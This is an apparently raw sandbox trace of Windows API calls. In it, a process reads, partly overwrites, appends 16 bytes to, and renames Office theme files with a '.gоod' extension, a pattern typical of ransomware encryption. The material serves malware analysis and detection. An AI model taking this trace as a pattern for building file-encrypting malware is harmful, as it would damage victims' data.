[0154.148] GetFileType (hFile=0x808) returned 0x1 [0154.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.148] GetFileType (hFile=0x808) returned 0x1 [0154.148] ReadFile (in: hFile=0x808, lpBuffer=0x341b9b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x341b9b0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0154.256] CloseHandle (hObject=0x808) returned 1 [0154.256] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", lpFilePart=0x0) returned 0x5b [0154.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.256] GetFileType (hFile=0x808) returned 0x1 [0154.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.256] GetFileType (hFile=0x808) returned 0x1 [0154.256] WriteFile (in: hFile=0x808, lpBuffer=0x3286798*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3286798*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0154.257] CloseHandle (hObject=0x808) returned 1 [0154.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", lpFilePart=0x0) returned 0x5b [0154.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.gоod", lpFilePart=0x0) returned 0x60 [0154.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0154.257] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5828bff7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x53109)) returned 1 [0154.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0154.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.gоod")) returned 1 [0154.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", lpFilePart=0x0) returned 0x5a [0154.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0154.258] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), fInfoLevelId=0x0, lpFileInformation=0x32a2240 | out: lpFileInformation=0x32a2240*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51933)) returned 1 [0154.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0154.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", lpFilePart=0x0) returned 0x5a [0154.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.259] GetFileType (hFile=0x808) returned 0x1 [0154.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.259] GetFileType (hFile=0x808) returned 0x1 [0154.259] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0154.259] ReadFile (in: hFile=0x808, lpBuffer=0x32a26b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x32a26b8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0154.260] CloseHandle (hObject=0x808) returned 1 [0154.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", lpFilePart=0x0) returned 0x5a [0154.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.261] GetFileType (hFile=0x808) returned 0x1 [0154.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.261] GetFileType (hFile=0x808) returned 0x1 [0154.261] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x51933 [0154.261] WriteFile (in: hFile=0x808, lpBuffer=0x32a5e20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x32a5e20*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0154.262] CloseHandle (hObject=0x808) returned 1 [0154.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", lpFilePart=0x0) returned 0x5a [0154.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.263] GetFileType (hFile=0x808) returned 0x1 [0154.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.263] GetFileType (hFile=0x808) returned 0x1 [0154.263] ReadFile (in: hFile=0x808, lpBuffer=0x32aa110, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x32aa110*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0154.509] CloseHandle (hObject=0x808) returned 1 [0154.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", lpFilePart=0x0) returned 0x5a [0154.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.510] GetFileType (hFile=0x808) returned 0x1 [0154.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.510] GetFileType (hFile=0x808) returned 0x1 [0154.510] WriteFile (in: hFile=0x808, lpBuffer=0x3287808*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3287808*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0154.510] CloseHandle (hObject=0x808) returned 1 [0154.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx", lpFilePart=0x0) returned 0x5a [0154.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.gоod", lpFilePart=0x0) returned 0x5f [0154.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0154.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x584ee451, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x51943)) returned 1 [0154.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0154.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.gоod")) returned 1 [0154.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", lpFilePart=0x0) returned 0x53 [0154.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0154.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), fInfoLevelId=0x0, lpFileInformation=0x33b0c08 | out: lpFileInformation=0x33b0c08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51cbe)) returned 1 [0154.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0154.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", lpFilePart=0x0) returned 0x53 [0154.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.512] GetFileType (hFile=0x808) returned 0x1 [0154.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.512] GetFileType (hFile=0x808) returned 0x1 [0154.512] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0154.512] ReadFile (in: hFile=0x808, lpBuffer=0x33b1040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x33b1040*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0154.513] CloseHandle (hObject=0x808) returned 1 [0154.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", lpFilePart=0x0) returned 0x53 [0154.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.514] GetFileType (hFile=0x808) returned 0x1 [0154.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.514] GetFileType (hFile=0x808) returned 0x1 [0154.514] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x51cbe [0154.514] WriteFile (in: hFile=0x808, lpBuffer=0x33b22e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x33b22e8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0154.515] CloseHandle (hObject=0x808) returned 1 [0154.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", lpFilePart=0x0) returned 0x53 [0154.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.516] GetFileType (hFile=0x808) returned 0x1 [0154.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.516] GetFileType (hFile=0x808) returned 0x1 [0154.516] ReadFile (in: hFile=0x808, lpBuffer=0x33b45b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x33b45b8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0154.544] CloseHandle (hObject=0x808) returned 1 [0154.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", lpFilePart=0x0) returned 0x53 [0154.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.545] GetFileType (hFile=0x808) returned 0x1 [0154.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.545] GetFileType (hFile=0x808) returned 0x1 [0154.545] WriteFile (in: hFile=0x808, lpBuffer=0x33b3300*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x33b3300*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0154.545] CloseHandle (hObject=0x808) returned 1 [0154.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx", lpFilePart=0x0) returned 0x53 [0154.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.gоod", lpFilePart=0x0) returned 0x58 [0154.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0154.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5853ac99, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x51cce)) returned 1 [0154.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0154.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.gоod")) returned 1 [0154.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", lpFilePart=0x0) returned 0x56 [0154.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0154.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), fInfoLevelId=0x0, lpFileInformation=0x3430a10 | out: lpFileInformation=0x3430a10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd44b)) returned 1 [0154.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0155.285] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", lpFilePart=0x0) returned 0x56 [0155.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.317] GetFileType (hFile=0x810) returned 0x1 [0155.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.317] GetFileType (hFile=0x810) returned 0x1 [0155.317] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0155.317] ReadFile (in: hFile=0x810, lpBuffer=0x33975f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x33975f8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0155.319] CloseHandle (hObject=0x810) returned 1 [0155.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", lpFilePart=0x0) returned 0x56 [0155.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.319] GetFileType (hFile=0x810) returned 0x1 [0155.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.319] GetFileType (hFile=0x810) returned 0x1 [0155.319] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xd44b [0155.319] WriteFile (in: hFile=0x810, lpBuffer=0x3399a00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3399a00*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0155.320] CloseHandle (hObject=0x810) returned 1 [0155.320] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx", lpFilePart=0x0) returned 0x56 [0155.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0155.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.321] GetFileType (hFile=0x810) returned 0x1 [0155.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0155.321] GetFileType (hFile=0x810) returned 0x1 [0155.321] ReadFile (in: hFile=0x810, lpBuffer=0x339cda0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, 